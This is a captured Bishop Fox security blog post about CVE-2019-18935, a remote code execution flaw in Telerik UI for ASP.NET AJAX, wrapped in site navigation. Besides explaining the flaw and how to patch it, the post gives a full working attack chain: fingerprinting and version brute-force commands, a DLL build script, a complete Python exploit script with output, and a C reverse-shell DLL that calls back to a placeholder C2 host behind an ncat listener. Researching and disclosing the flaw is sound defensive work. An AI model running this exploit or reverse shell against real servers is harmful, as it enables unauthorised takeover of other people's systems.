bishopfox.com Open in urlscan Pro
2606:4700:20::ac43:532a  Public Scan

Submitted URL: https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui
Effective URL: https://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui
Submission: On September 15 via api from US — Scanned from DE

Form analysis 2 forms found in the DOM

<form id="mktoForm_1049" novalidate="novalidate" style="font-family: inherit; font-size: 13px; color: rgb(51, 51, 51); width: 1601px;" class="mktoForm mktoHasWidth mktoLayoutLeft" digitalpi-utms-added="true">
  <style type="text/css"></style>
  <div class="mktoFormRow">
    <div class="mktoFieldDescriptor mktoFormCol" style="margin-bottom: 5px;">
      <div class="mktoOffset" style="width: 5px;"></div>
      <div class="mktoFieldWrap mktoRequiredField"><label for="Email" id="LblEmail" class="mktoLabel mktoHasWidth" style="width: 100px;">
          <div class="mktoAsterix">*</div>Email Address:
        </label>
        <div class="mktoGutter mktoHasWidth" style="width: 5px;"></div><input id="Email" name="Email" maxlength="255" aria-labelledby="LblEmail InstructEmail" type="email" class="mktoField mktoEmailField mktoHasWidth mktoRequired mktoInvalid"
          aria-required="true" style="width: 320px;" aria-invalid="true"><span id="InstructEmail" tabindex="-1" class="mktoInstruction"></span>
        <div class="mktoClear"></div>
      </div>
      <div class="mktoClear"></div>
    </div>
    <div class="mktoClear"></div>
  </div>
  <div class="mktoButtonRow"><span class="mktoButtonWrap mktoNative" style="margin-left: 110px;"><button type="submit" class="mktoButton">Submit</button></span></div><input type="hidden" name="formid" class="mktoField mktoFieldDescriptor"
    value="1049"><input type="hidden" name="munchkinId" class="mktoField mktoFieldDescriptor" value="136-UTJ-516"><input type="hidden" name="Utm_Orig_Medium__c" class="mktoField mktoFieldDescriptor" value="none"><input type="hidden"
    name="Utm_Orig_Source__c" class="mktoField mktoFieldDescriptor" value="none">
</form>

<form novalidate="novalidate" style="font-family: inherit; font-size: 13px; color: rgb(51, 51, 51); visibility: hidden; position: absolute; top: -500px; left: -1000px; width: 1600px;" class="mktoForm mktoHasWidth mktoLayoutLeft"></form>

Text Content

Platform
Services
Resources
Customers
Partners
About Us
Get Started

Introducing Cosmos


WINNER OF SC MEDIA'S BEST EMERGING TECHNOLOGY AWARD

See how continuous testing and attack surface management can help you defend
forward.

Request A Demo
Platform Overview


Meet Cosmos (formerly CAST): the continuous offensive security platform designed
to provide proactive defense.

Attack Surface Management


Get unmatched visibility into your changing external attack surface with
continuous discovery and mapping.

Exposure Identification


Eliminate noise and discover critical exposures, including steppingstones to
more complex attack chains.

Continuous Attack Emulation


Emulate real-world attacks to understand exposures and post-exploitation
pathways, then operationalize findings to close attack windows.

The Best Defense is a Great Offense


SEE WHY WE'RE THE LEADERS IN OFFENSIVE SECURITY

Explore Services
Application Security


Ensure your applications are secure and improve your DevSecOps practices.

 * Application Pen Testing
 * Hybrid App Assessment
 * Mobile App Assessment
 * View More

Red Team & Readiness


Get a holistic view of your ability to defend against a real-world attack.

 * Ransomware Simulations

IoT & Product Security


Validate interconnected devices and products are secure against attackers.

Cloud Security


Assess cloud security posture with expert testing and analysis of your
environment.

Network Security


Get insight into how skilled adversaries could establish network access and put
sensitive systems and data at risk.

 * External Pen Testing
 * Internal Pen Testing
 * Continuous Attack Surface Testing

Assessments for Our Partners


We're proud to work with Google, Facebook, and Amazon to increase security in
their partner ecosystems.

 * ioXt Alliance Testing & Certification
 * Google Partner Assessments
 * Google Cloud Application Security Assessment
 * Google Mobile Application Security Assessment
 * Google Alphabet VSA Assessments
 * Nest Assessments
 * Meta Assessments
 * Amazon Alexa Assessments

Featured Resource


THE OFFENSIVE SECURITY GUIDE TO RANSOMWARE READINESS

Develop a roadmap to get your security and extended teams aligned on ransomware
readiness.

Read It Now
Resource Center


Discover new offensive security resources, ranging from reports and eBooks to
slide decks from speaking gigs.

 * Webcasts
 * Reports
 * eBooks & Guides
 * View All

Bulletins & Advisories


Explore the latest security bulletins and advisories released by our team.

 * BIG-IP Scanner Available
   Latest
 * View All

Blog


Dive into our blog for insights and perspectives from our offensive security
experts.

 * Industry
 * Technology

Research & Tools


We are the innovators behind some of the most popular open source security
tools. Check them out here!

Bishop Fox Labs


Learn more about our research — and our commitment to openly sharing
information.



Why Partner with Us?


JOIN FORCES WITH THE LEADERS IN OFFENSIVE SECURITY

Independent Assessment by TAG Cyber

Get the Report
Partner Program Overview


Learn about our partner programs and see how we can work together to provide
best-in-class security offerings.

Find a Partner


Check out our awesome ecosystem of trusted partners to find the right solution
for your needs.

Become a Partner


Explore partnership opportunities and apply to join forces with Bishop Fox.

Assessments for Our Partners


We're proud to work with Google, Facebook, and Amazon to increase the security
of their partner ecosystems.

 * Google Partner Assessments
 * Google Alphabet VSA Assessments
 * Nest Assessments
 * Facebook Assessments
 * Amazon Alexa Assessments

We're Hiring!


WANT TO WORK WITH THE BEST MINDS IN OFFENSIVE SECURITY?

Be part of an elite team and work on projects that have a real impact.

Explore Openings
Company Overview


Get to know us. Learn about our roots and see why we're on a mission to improve
security for all.

Events


Join us at an upcoming event or peruse our speaking engagements, past and
present.

Newsroom


Read the latest articles, announcements, and press releases from Bishop Fox.

Contact Us


Want to get in touch? We're ready to connect.

Career Opportunities


We're hiring! Explore our open positions and discover why the Fox Den is a great
place to build your career.

Intern & Educational Programs


Starting your offensive security journey? Check out our internships and
educational programs.

Bishop Fox Mexico


¡Celebramos! Bishop Fox is now in Mexico. Learn more about our expansion.


Platform
 * Overview
 * Platform Overview
 * Attack Surface Management
 * Exposure Identification
 * Continuous Attack Emulation

Services
 * Overview
 * Application Security
 * Red Team & Readiness
 * IoT & Product Security
 * Cloud Security
 * Network Security
 * Assessments for Our Partners

Resources
 * Overview
 * Resource Center
 * Bulletins & Advisories
 * Blog
 * Research & Tools
 * Bishop Fox Labs

Customers
Partners
 * Overview
 * Partner Program Overview
 * Find a Partner
 * Become a Partner
 * Assessments for Our Partners

About Us
 * Overview
 * Company Overview
 * Events
 * Newsroom
 * Contact Us
 * Career Opportunities
 * Intern & Educational Programs
 * Bishop Fox Mexico

Get Started
Blog // Tech // Dec 12, 2019


CVE-2019-18935: REMOTE CODE EXECUTION VIA INSECURE DESERIALIZATION IN TELERIK UI

By: Caleb Gross, Senior Security Engineer


Share



All code references in this post are also available in the CVE-2019-18935 GitHub
repo.

Telerik UI for ASP.NET AJAX is a widely used suite of UI components for web
applications. It insecurely deserializes JSON objects in a manner that results
in arbitrary remote code execution on the software's underlying host. The
Managed Security Services (MSS) team at Bishop Fox has identified and exploited
internet-facing instances of Telerik UI affected by this vulnerability for our
clients. Since Telerik has just responded to this issue by releasing a security
advisory for CVE-2019-18935, we're sharing our knowledge about it here in an
effort to raise awareness about the severity of this vulnerability, and to
encourage affected users to patch and securely configure this software. Patching
instructions are included at the end of this post.

Thanks to Markus Wulftange (@mwulftange) of Code White GmbH for initially
discovering this insecure deserialization vulnerability and for summarizing his
research. Thanks also to Paul Taylor (@bao7uo) who, after authoring an exploit
to break encryption for an unrestricted file upload vulnerability, developed an
extended custom payload feature that was instrumental in triggering this
deserialization vulnerability.

All code references in this post are also available in the CVE-2019-18935 GitHub
repo.

UPDATE: Caleb presented on this topic at 2020 DerpCon, which you can watch
below.




CONTENTS

 * Vulnerability Details Overview
   * Overview of Vulnerabilities in RadAsyncUpload
   * CVE-2017-11317 — Unrestricted File Upload via Weak Encryption
   * CVE-2019-18935 — Remote Code Execution via Insecure Deserialization
   * What's a Mixed Mode Assembly?
    * CVE-2019-18935 Exploit Details
      * Identify Software Version
      * Verify Deserialization Vulnerability with Sleep()
      * Exploit with Reverse Shell
    * How to Patch
    * Conclusion

   
   


VULNERABILITY DETAILS

The following sections will walk through two vulnerabilities in RadAsyncUpload,
which is a file handler in Telerik UI for ASP.NET AJAX that enables uploading
files asynchronously (i.e., without reloading the existing page). After covering
the context of those two CVEs, we’ll dive deeper into the insecure
deserialization vulnerability to learn if it affects your system, how the
exploit works, and how you can patch systems against this vulnerability.


OVERVIEW OF VULNERABILITIES IN RADASYNCUPLOAD

RadAsyncUpload has previously been the subject of a number of vulnerabilities,
including CVE-2014-2217, which is a path traversal vulnerability in the
handler's file upload POST requests that results in unrestricted file upload.
(Don't confuse it with CVE-2017-11317, which also yields unrestricted file
upload, but through a different vector…more on that shortly.)

CVE-2014-2217 is outside of the scope of this post, but it's important that we
mention it here, since Telerik responded to this issue by encrypting a
particular portion of file upload requests to prevent attackers from tampering
with sensitive settings. Specifically, Telerik encrypted the rauPostData POST
parameter, which contains a serialized object that holds configuration details
about how the file should be handled (e.g., the destination directory on the web
server where the file should be uploaded). If attackers were able to break the
encryption protecting the configuration object in rauPostData, they could:

 * Modify the configuration to allow file uploading anywhere they like on the
   target web server. This issue (CVE-2017-11317) is a well-known vulnerability
   and has already been reported on.
 * Modify the type of the object in rauPostData, allowing them to control the
   object's behavior while it's being deserialized. This issue (CVE-2019-18935)
   is the main subject of this post.

In summary, in order to exploit insecure deserialization (CVE-2019-18935) in
this file handler, we must first break the encryption that the handler uses to
protect file upload POST requests (CVE-2017-11317).


CVE-2017-11317 - UNRESTRICTED FILE UPLOAD VIA WEAK ENCRYPTION

Until R2 2017 SP1 (v2017.2.621), RadAsyncUpload's AsyncUploadHandler was
configured with a hard-coded key that was used to encrypt form data in file
upload requests. If this encryption key was not changed from its default value
of PrivateKeyForEncryptionOfRadAsyncUploadConfiguration, an attacker could use
that key to craft a file upload request to
/Telerik.Web.Ui.WebResource.axd?type=rau with a custom encrypted rauPostData
POST parameter. If an attacker specified an arbitrary value for the
TempTargetFolder variable within the encrypted rauPostData POST parameter, it
would effectively allow file uploads to any directory where the web server had
write permissions. Please refer to @straightblast's write-up for a detailed
breakdown of rauPostData's structure (and of this vulnerability in general), and
Telerik's security advisory for how this vulnerability was remediated.


CVE-2019-18935 - REMOTE CODE EXECUTION VIA INSECURE DESERIALIZATION

Even though the unrestricted file upload vulnerability had been extensively
discussed since its discovery in 2017, Markus Wulftange took a closer look at
the way RadAsyncUpload processed the rauPostData parameter in file upload
requests in early 2019. He noted that rauPostData contains both the serialized
configuration object and the object's type. AsyncUploadHandler uses the type
specified within rauPostData to prepare .NET's
JavaScriptSerializer.Deserialize() method to properly deserialize the object.

During deserialization, JavaScriptSerializer calls setter methods for the
specified object type. If this type is controlled by an attacker, this can lead
to a dangerous scenario where the attacker may specify the type to be a gadget.
A gadget is a class within the executing scope of the application that, as a
side effect of being instantiated and modified via setters or field assignment,
has special properties that make it useful during deserialization. A remote code
execution (RCE) gadget's properties allow it to perform operations that
facilitate executing arbitrary code.

Rather than submitting the usual expected
Telerik.Web.UI.AsyncUploadConfiguration type within rauPostData, an attacker can
submit a file upload POST request specifying the type as an RCE gadget instead.
After using the aforementioned unrestricted file upload vulnerability to upload
a malicious mixed mode assembly DLL, an attacker may follow up with a second
request to force JavaScriptSerializer to deserialize an object of type <a
href="https://docs.microsoft.com/en-us/dotnet/api/system.configuration.install.assemblyinstaller?view=netframework-4.8"
target="_blank" rel="noreferrer
noopener">System.Configuration.Install.AssemblyInstaller</a>. When deserialized
along with an attacker-supplied path property pointing to the uploaded DLL, this
will cause the application to load the DLL into its current domain. As long as
the mixed mode assembly DLL is of the same architecture as the loading process,
its entry-point function DDLMain() will be called when the DLL is loaded. For
more details, please refer to Implications of Loading .NET Assemblies and Friday
the 13th JSON Attacks.


OK, WHAT'S A MIXED MODE ASSEMBLY?

According to MSDN, a mixed mode assembly contains "both unmanaged machine
instructions and [CIL] instructions." If you're unfamiliar with the .NET
framework, then these terms may not mean anything to you. Let's break these down
a bit, starting with a useful description from Wikipedia about how programs
execute when developed in .NET:

Programs written for .NET Framework execute in a software environment (in
contrast to a hardware environment) named the Common Language Runtime (CLR). The
CLR is an application virtual machine that provides services such as security,
memory management, and exception handling. As such, computer code written using
.NET Framework is called "managed code."

So, "managed" code is written to run exclusively under the CLR, a layer that
wraps native compiled code to prevent some common problems (e.g., buffer
overflows) and abstract away some platform-specific implementation details to
make code more portable. C# is often considered a managed language as it's
typically compiled to CIL (Common Intermediate Language—a platform-independent
language between source code and final native machine code) to be run under the
CLR. CIL, in turn, is compiled into native code by a just-in-time compiler
within the CLR. Conversely, code that does not target the CLR is known as
"unmanaged" code (e.g., your average C program).

An assembly is a package containing precompiled CIL code that can be executed in
the CLR. It is the most fundamental unit of deployment for a .NET application,
and can be implemented as an EXE or DLL file. An assembly also contains a
manifest that details, among other things, metadata about the assembly's name
and version. For further reading, check out this article about injecting .NET
assemblies which provides a useful .NET primer, and a related article on mixed
assemblies.


CVE-2019-18935 EXPLOIT DETAILS

Now with our background knowledge of the prerequisite unrestricted file upload
vulnerability (CVE-2017-11317), the deserialization vulnerability itself, and
mixed mode assemblies, we can now explore this exploit step by step.


IDENTIFY SOFTWARE VERSION

Before attempting to exploit Telerik UI for ASP.NET AJAX, confirm first that the
file upload handler is registered:

curl -sk <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
{ "message" : "RadAsyncUpload handler is registered successfully, however, it may not be accessed directly." }


Additionally, you’ll need to confirm that the web application is using a
vulnerable version of this software. Conveniently, Telerik publishes a release
history that details all major software versions since April 2007.

WITHOUT AUTHENTICATION

If the application using RadAsyncUpload does not require authentication, then
you can usually find the UI version buried somewhere in the HTML source of the
application's home page. The location of the version string isn't consistent,
though, so the best method of locating it is to use Burp to search for the
regular expression 20[0-9]{2}(\.[0-9]*)+ (and make sure you check the "Regex"
box). You can also accomplish this with cURL:

curl -skL <HOST> | grep -oE '20[0-9]{2}(\.[0-9]*)+'

If that doesn't work, you can alternatively search for the string <script
src="/WebResource to identify any JavaScript files that are included in the
site's home page. Choose one of the static resources there and examine its
Last-Modified date in the HTTP response header; that date should roughly match
the release date of the software. For example, a JavaScript resource bundled
with UI for ASP.NET AJAX Q1 2013 (v2013.1.220, released on February 20, 2013)
will read Last-Modified: Wed, 20 Feb 2013 00:00:00 GMT in the HTTP response
header for that file.

WITH AUTHENTICATION

If the application does require authentication, then you may be able to
determine the software version via brute force. Since uploading a file with
RadAsyncUpload requires providing the correct version of Telerik UI, you can use
Paul Taylor’s RAU_crypto exploit to submit file upload requests with
known-vulnerable versions until you find one that works:

echo 'test' > testfile.txt 
for VERSION in 2007.1423 2007.1521 2007.1626 2007.2918 2007.21010 2007.21107 2007.31218 2007.31314 2007.31425 2008.1415 2008.1515 2008.1619 2008.2723 2008.2826 2008.21001 2008.31105 2008.31125 2008.31314 2009.1311 2009.1402 2009.1527 2009.2701 2009.2826 2009.31103 2009.31208 2009.31314 2010.1309 2010.1415 2010.1519 2010.2713 2010.2826 2010.2929 2010.31109 2010.31215 2010.31317 2011.1315 2011.1413 2011.1519 2011.2712 2011.2915 2011.31115 2011.3.1305 2012.1.215 2012.1.411 2012.2.607 2012.2.724 2012.2.912 2012.3.1016 2012.3.1205 2012.3.1308 2013.1.220 2013.1.403 2013.1.417 2013.2.611 2013.2.717 2013.3.1015 2013.3.1114 2013.3.1324 2014.1.225 2014.1.403 2014.2.618 2014.2.724 2014.3.1024 2015.1.204 2015.1.225 2015.2.604 2015.2.623 2015.2.729 2015.2.826 2015.3.930 2015.3.1111 2016.1.113 2016.1.225 2016.2.504 2016.2.607 2016.3.914 2016.3.1018 2016.3.1027 2017.1.118 2017.1.228 2017.2.503 2017.2.621 2017.2.711 2017.3.913; do     
    echo -n "$VERSION: "     
    python3 RAU_crypto.py -P 'C:\Windows\Temp' "$VERSION" testfile.txt <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null | grep fileInfo || echo done


When the file upload succeeds, you'll see a JSON response containing some
encrypted data about the uploaded file:

{"fileInfo":{"FileName":"<NAME>","ContentType":"text/html","ContentLength":<LENGTH>,"DateJson":"<DATE>","Index":0}, "metaData":"VGhpcyBpc24ndCByZWFsIGRhdGEsIGJ1dCB0aGUgQmFzZTY0LWVuY29kZWQgZGF0YSBsb29rcyBqdXN0IGxpa2UgdGhpcy4=" }

Now that you’ve verified that the handler is registered and the software is
using a vulnerable version, you can proceed to exploit the vulnerability.


VERIFY DESERIALIZATION VULNERABILITY WITH SLEEP()

In preparing to fully compromise a remote host with a reverse shell, you can
initially verify the deserialization vulnerability by uploading and loading a
simple mixed mode assembly DLL that causes the web application to sleep for 10
seconds. A simple program, sleep.c, will do just that.

Note that I use C, rather than C++, because I've encountered rare occasions
where I was unable to execute compiled C++ code on a remote server. I suspect
that this is because the target environment did not have the Microsoft Visual
C++ Redistributable installed.

sleep.c


#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
<b>    if</b> (fdwReason == DLL_PROCESS_ATTACH)
<b>        Sleep</b>(10000);  // Time interval in milliseconds.
<b>    return</b> TRUE;
}


Create a bare C# class in empty.cs to constitute the managed portion of your
mixed mode assembly:

<b>class</b> Empty {}


Then, in a Windows environment with Visual Studio installed, open a command
prompt and run build_dll.bat sleep.c: build_dll.bat

```vbscript
@echo off

set PROGRAM=%1
set BASENAME=%PROGRAM:~0,-2%

for /f "tokens=2-4 delims=/ " %%a in ("%DATE%") do (
    set YYYY=%%c
    set MM=%%a
    set DD=%%b
)
for /f "tokens=1-4 delims=/:." %%a in ("%TIME: =0%") do (
    set HH=%%a
    set MI=%%b
    set SS=%%c
    set FF=%%d
)
set DATETIME=%YYYY%%MM%%DD%%HH%%MI%%SS%%FF%

@echo on

for %%a in (x86 amd64) do (
    setlocal
    call "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvarsall.bat" %%a
    csc /target:module empty.cs
    cl /c %PROGRAM%
    link /DLL /LTCG /CLRIMAGETYPE:IJW /out:%BASENAME%_%DATETIME%_%%a.dll %BASENAME%.obj empty.netmodule
    del %BASENAME%.obj empty.netmodule
    endlocal
)
```


This batch script accomplishes the following:

 * Sets environment variables to compile both 32- and 64-bit code
 * Compiles the empty.cs C# program as a .netmodule file (without generating an
   assembly)
 * Compiles the specified C program (sleep.c, in this case) as an .obj file
   (without linking)
 * Links the compiled .netmodule and .obj files, which creates a mixed mode
   assembly DLL with a unique name

A CAUTIONARY NOTE ABOUT ASSEMBLY NAMES

The assembly's name as specified in link /out is baked into the assembly's
manifest, and will persist even if the file name changes on disk. It's crucial
that the assembly is uniquely named at linking time since a .NET application
will only load an assembly once with a given name. This means that an assembly
"sleep_123.dll" may cause the application to sleep the first time that DLL is
loaded through deserialization, but it certainly won't successfully load again;
you'll need to rerun build_dll.bat to generate a new assembly for each exploit
attempt on the same server.

Before uploading the DLL, it's important to understand what's going to happen on
disk on the remote server. RadAsyncUpload will upload your file to a temporary
directory whose location is under your control. If you happen to upload two
files with the same name (we're talking about file names on disk, not assembly
names in a manifest), RadAsyncUpload will append (not overwrite!) the new file
to the old one. If the application attempts to load the resulting malformed DLL,
it can cause the application to crash—so it's extremely important that you use a
unique file name each time you upload a file to the target.

EXPLOIT

The following exploit script leverages the core RadAsyncUpload encryption logic
provided by Paul Taylor's RAU_crypto.py to craft an encrypted rauPostData POST
parameter; this enables access to the vulnerable AsyncUploadHandler class
through which we can upload files and deserialize arbitrary object types. This
script also ensures that each uploaded file has a unique name on disk.

CVE-2019-18935.py

```python
#!/usr/bin/env python3

# Import arbitrary file upload functionality.
from sys import path
path.insert(1, 'RAU_crypto')
from RAU_crypto import RAUCipher

from argparse import ArgumentParser
from json import dumps, loads
from os.path import basename, splitext
from pprint import pprint
from requests import post
from requests.packages.urllib3 import disable_warnings
from sys import stderr
from time import time
from urllib3.exceptions import InsecureRequestWarning

disable_warnings(category=InsecureRequestWarning)

def send_request(files):
    response = post(url, files=files, verify=False)
    try:
        result = loads(response.text)
        result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
        pprint(result)
    except:
        print(response.text)

def build_raupostdata(object, type):
    return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)

def upload():

    # Build rauPostData.
    object = {
        'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), version),
        'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), version),
        'MaxFileSize': 0,
        'TimeToLive': { 
            'Ticks': 1440000000000,
            'Days': 0,
            'Hours': 40,
            'Minutes': 0,
            'Seconds': 0,
            'Milliseconds': 0,
            'TotalDays': 1.6666666666666666,
            'TotalHours': 40,
            'TotalMinutes': 2400,
            'TotalSeconds': 144000,
            'TotalMilliseconds': 144000000
        },
        'UseApplicationPoolImpersonation': False
    }
    type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
    raupostdata = build_raupostdata(object, type)
    
    with open(filename_local, 'rb') as f:
        payload = f.read()
    
    metadata = {
        'TotalChunks': 1,
        'ChunkIndex': 0,
        'TotalFileSize': 1,
        'UploadID': filename_remote  # Determines remote filename on disk.
    }
    
    # Build multipart form data.
    files = {
        'rauPostData': (None, raupostdata),
        'file': (filename_remote, payload, 'application/octet-stream'),
        'fileName': (None, filename_remote),
        'contentType': (None, 'application/octet-stream'),
        'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
        'metadata': (None, dumps(metadata))
    }
    
    # Send request.
    print('[*] Local payload name: ', filename_local, file=stderr)
    print('[*] Destination folder: ', temp_target_folder, file=stderr)
    print('[*] Remote payload name:', filename_remote, file=stderr)
    print(file=stderr)
    send_request(files)

def deserialize():

    # Build rauPostData.
    object = {
        'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
    }
    type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
    raupostdata = build_raupostdata(object, type)
    
    # Build multipart form data.
    files = {
        'rauPostData': (None, raupostdata),  # Only need this now.
        '': ''  # One extra input is required for the page to process the request.
    }
    
    # Send request.
    print('\n[*] Triggering deserialization...\n', file=stderr)
    start = time()
    send_request(files)
    end = time()
    print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)

if __name__ == '__main__':
    parser = ArgumentParser(description='Exploit deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
    parser.add_argument('-v', dest='version', required=True, help='software version')
    parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
    parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
    parser.add_argument('-t', dest='test_upload', action='store_true', help="just test upload, don't exploit deserialization vuln")
    parser.add_argument('-u', dest='url', required=True, help='https:///Telerik.Web.UI.WebResource.axd?type=rau')
    args = parser.parse_args()

    temp_target_folder = args.folder.replace('/', '\\')
    version = args.version
    filename_local = args.payload
    filename_remote = str(time()) + splitext(basename(filename_local))[1]
    url = args.url

    upload()

    if not args.test_upload:
        deserialize()
```


Without being able to remotely determine the architecture of the web server's
underlying host, you may need to attempt to trigger this vulnerability with both
the 32- and 64-bit DLL versions until you find one that works. Invoke the script
as follows:

python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:\Windows\Temp' -p sleep_2019121205271355_x86.dll

[*] Local payload name:  sleep_2019121205271355_x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds


If the application pauses for approximately 10 seconds before responding, you've
got a working deserialization exploit!




EXPLOIT WITH REVERSE SHELL

Now that we've verified that we can exploit this vulnerable version of Telerik
UI for ASP.NET AJAX, we can instead exploit it with a DLL that spawns a reverse
shell to connect back to a server that we control. We use rev_shell.c below, a
program that launches a reverse shell as a thread when the DLL is loaded; the
threaded nature of this program prevents the shell process from blocking the web
application's user interface while running: rev_shell.c

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

#define HOST "<HOST>"
#define PORT <PORT>

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c
void ReverseShell()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    struct hostent *host = gethostbyname(HOST);
    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(PORT);
    hax.sin_addr.s_addr = inet_addr(aip_addr);

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
    if (WSAGetLastError() == 0) {

        memset(&ini_processo, 0, sizeof(ini_processo));

        ini_processo.cb = sizeof(ini_processo);
        ini_processo.dwFlags = STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
    }
}

DWORD WINAPI MainThread(LPVOID lpParam)
{
    ReverseShell();
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) 
{
    HANDLE hThread;

    if (fdwReason == DLL_PROCESS_ATTACH)
        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);

    return TRUE;
}


Modify rev_shell.c with the hostname and port of the C2 server where you'll be
listening for a callback:


sed -i .bu 's/<HOST>/<HOST>/; s/<PORT>/<PORT>/' rev_shell.c


Using the same method of compiling and linking described above, generate your
mixed mode assembly DLL:

build_dll.bat rev_shell.c


Open a Netcat listener to catch the callback:

sudo ncat -lvp <PORT>


Then upload and load your DLL!


python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -f 'C:\Windows\Temp' -p rev_shell_2019121205271355_x86.dll



HOW TO PATCH

The Telerik security advisory tells you what you need to know, but we’ll repeat
the most important parts here:

 * Upgrade Telerik for ASP.NET AJAX to R3 2019 SP1 (v2019.3.1023) or later.
 * Read Telerik's RadAsyncUpload security guide in its entirety, and configure
   the control according to the recommended security settings.


CONCLUSION

This write-up has demonstrated how an attacker can chain exploits for
unrestricted file upload (CVE-2017-11317) and insecure deserialization
(CVE-2019-18935) vulnerabilities to execute arbitrary code on a remote machine.

In recent years, insecure deserialization has emerged as an effective attack
vector for executing arbitrary code in object-oriented programming frameworks.
As we continue to identify and understand this class of vulnerabilities, it’s
important that vendors and users employ timely communication to combat the risk
posed by vulnerable software. Now that Telerik has released a patch and security
advisory for this vulnerability, affected users should do their part by updating
and securely configuring their applications.

Big thanks again to Markus Wulftange (@mwulftange) and Paul Taylor (@bao7uo),
both of whom paved the way for this work through their prior research.

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.

*
Email Address:




Submit

Thank You! You have been subscribed.

--------------------------------------------------------------------------------

About the author, Caleb Gross

Senior Security Engineer

Caleb Gross is a Senior Security Engineer at Bishop Fox, where he works as a
technical lead for the Cosmos, formerly CAST Managed Security Service. Prior to
coming to Bishop Fox, he served as an exploitation operator in the US Department
of Defense's most elite computer network exploitation (CNE) unit. As a top-rated
military officer, Caleb led an offensive operations team in the US Air Force's
premier selectively manned cyber attack squadron.

More by Caleb




RECOMMENDED POSTS


YOU MIGHT BE INTERESTED IN THESE RELATED POSTS.

Sep 13, 2022

Introducing: CloudFox



Sep 08, 2022

Solving the Unredacter Challenge



Aug 24, 2022

You're (Still) Doing IoT RNG



Jun 27, 2022

An Introduction to Bluetooth Security

 * Cosmos Platform
 * Platform Overview
 * Attack Surface Management
 * Exposure Identification
 * Continuous Attack Emulation

 * Services
 * Application Security
 * Cloud Security
 * IoT & Product Security
 * Network Security
 * Red Team & Readiness
 * Google, Facebook, & Amazon Partner Assessments

 * Resources
 * Resource Center
 * Blog
 * Advisories
 * Tools

 * Our Customers

 * Partners
 * Partner Programs
 * Partner Directory
 * Become a Partner

 * Company
 * About Us
 * Careers
   We're Hiring
 * Events
 * Newsroom
 * Bishop Fox Mexico
 * Bishop Fox Labs
 * Contact Us



Copyright © 2022 Bishop Fox

Privacy Statement Responsible Disclosure Policy

THE WOLF IN SHEEP’S CLOTHING



See how low-risk exposures can become catalysts for destructive attacks.

Get the Free eBook

This site uses cookies to provide you with a great user experience. By
continuing to use our website, you consent to the use of cookies. To find out
more about the cookies we use, please see our Privacy Policy.

Accept



Live Chat